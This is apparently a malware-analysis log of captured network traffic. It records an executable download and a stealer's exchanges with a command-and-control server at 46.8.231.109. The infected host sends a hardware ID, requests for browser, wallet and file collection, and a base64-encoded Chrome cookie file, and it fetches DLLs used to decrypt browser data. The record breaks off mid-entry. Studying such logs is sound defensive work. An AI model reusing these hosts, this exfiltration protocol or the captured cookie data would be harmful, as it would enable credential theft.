Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 15 Sep 2024 17:37:44 GMTContent-Type: application/octet-streamContent-Length: 329256Last-Modified: Fri, 13 Sep 2024 09:51:42 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e40b2e-50628"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d2 0a e4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 0a 00 00 00 00 00 00 2e f3 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 f2 04 00 4b 00 00 00 00 00 05 00 18 06 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 a8 f1 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 d3 04 00 00 20 00 00 00 d4 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 06 00 00 00 00 05 00 00 08 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 f3 04 00 00 00 00 00 48 00 00 00 02 00 05 00 80 e4 04 00 28 0d 00 00 03 00 02 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da b3 0d a5 c8 1f 57 d5 30 c9 93 7d 0a 7f 33 da 0f e9 9b 9d df 1b 71 fb ea 58 5d 2c 5a 25 26 80 1f 2b 8b 00 95 29 65 87 f4 a6 c4 c3 5c 7c 19 a2 1a 6d d6 2d a2 8f 50 2c bd c5 41 dc 42 3f ef 53 92 03 ae 23 b4 a7 06 73 30 e7 9d e3 92 6c d8 35 25 d0 63 2b 45 88 71 03 a6 2a 6b 03 35 96 c6 bd 7e af 12 2c b9 f0 f1 f0 c3 9e cc 3f 39 88 f6 05 01 2d 82 fb a2 02 51 92 04 13 ca 7d 48 39 0a d9 9e a8 67 56 e9 9a b3 f0 dc fa 2b e2 95 40 72 70 b3 a3 80 6d dd cf 4f 45 16 32 e5 f8 b3 35 3d 5c e5 06 b2 93 c5 b7 62 96 94 e9 3e 83 e1 1f b1 ae cc 8a 77 05 91 d1 6d 59 6a 1a a7 72 53 a0 01 ec 83 de 30 68 03 a3 a8 7d 71 4b f4 65 da ad b4 7a 81 ac 52 ae 18 d2 80 6e 44 1e c6 ae 86 fe 0a ef af aa d6 ef 9c 52 08 b0 43 6c 43 cf 4d 7c 9d a5 3a ed 79 c2 8c 4d f6 6b 75 9f 8f 0b 5a a6 fb 65 65 03 45 81 5e 33 ac 03 3a 36 57 3d b0 b7 3a 85 68 1e 64 1b 05 0e b6 03 de 69 d5 ef d1 da 47 d2 ce f0 b0 65 f2 a7 af ec f2 da 35 9c e3 fa 8

Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vnfdamfs.exe HTTP/1.1Host: brasstech.inRange: bytes=279943-If-Range: Sun, 15 Sep 2024 13:50:37 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDAHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 31 42 43 42 34 34 32 36 42 31 31 35 35 35 30 32 31 34 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="hwid"C791BCB4426B1155502147------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="build"default------AKKEHIECFCAAFIEBGIDA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKFHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="message"browsers------BGDBAKFCFHCGDGCBAAKF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"plugins------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFCHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"fplugins------BAKEBAFIIECBGCAAAAFC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 46.8.231.109Content-Length: 5455Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFIIHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 2d 2d 0d 0a Data Ascii: ------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFBAEGDHIEBFHDGCBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="file"------BAFCFBAEGDHIEBFHDGCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHIIHost: 46.8.231.109Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 2d 2d 0d 0a Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="message"wallets------DHIEHIIEHIEHJKEBKEHJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="message"files------BFCFBKKKFHCFHJKFIIEH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGHHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file"------HJDGCGDBGCAAEBFIECGH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFCHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; 